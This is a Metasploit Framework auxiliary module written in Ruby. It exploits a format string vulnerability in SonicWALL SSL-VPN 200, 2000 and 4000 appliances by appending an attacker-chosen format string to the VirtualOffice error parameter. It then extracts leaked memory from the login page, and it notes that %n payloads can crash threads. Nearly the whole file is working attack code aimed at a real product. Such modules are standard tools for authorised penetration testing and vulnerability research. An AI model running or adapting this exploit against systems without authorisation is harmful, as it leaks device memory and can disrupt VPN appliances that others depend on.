##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SonicWALL SSL-VPN Format String Vulnerability',
			'Description'    => %q{
				There is a format string vulnerability within the SonicWALL
				SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory
				can be read or written to, depending on the format string used.
				There appears to be a length limit of 127 characters of format
				string data. With physical access to the device and debugging,
				this module may be able to be used to execute arbitrary code remotely.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [
				[ 'BID', '35145' ],
				#[ 'CVE', '' ], # no CVE?
				[ 'OSVDB', '54881' ],
				[ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],
			],
			'DisclosureDate' => 'May 29 2009'))

		register_options([
			OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),
			OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),
			Opt::RPORT(443),
			OptBool.new('SSL', [true, 'Use SSL', true]),
		])
	end

	def run
		if (datastore['FORMAT'].length > 125) # Max length is 127 bytes
			print_error("FORMAT string length cannot exceed 125 bytes.")
			return
		end

		fmt = datastore['FORMAT'] + "XX"  # XX is 2 bytes used to mark end of memory garbage for regexp
		begin
			res = send_request_raw({
				'uri' => datastore['URI'] + fmt,
			})

			if res.code == 200
				res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
				print_status("Information leaked: #{$1}")
			end

			print_status("Request sent to #{rhost}:#{rport}")
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_status("Couldn't connect to #{rhost}:#{rport}")
		rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end
end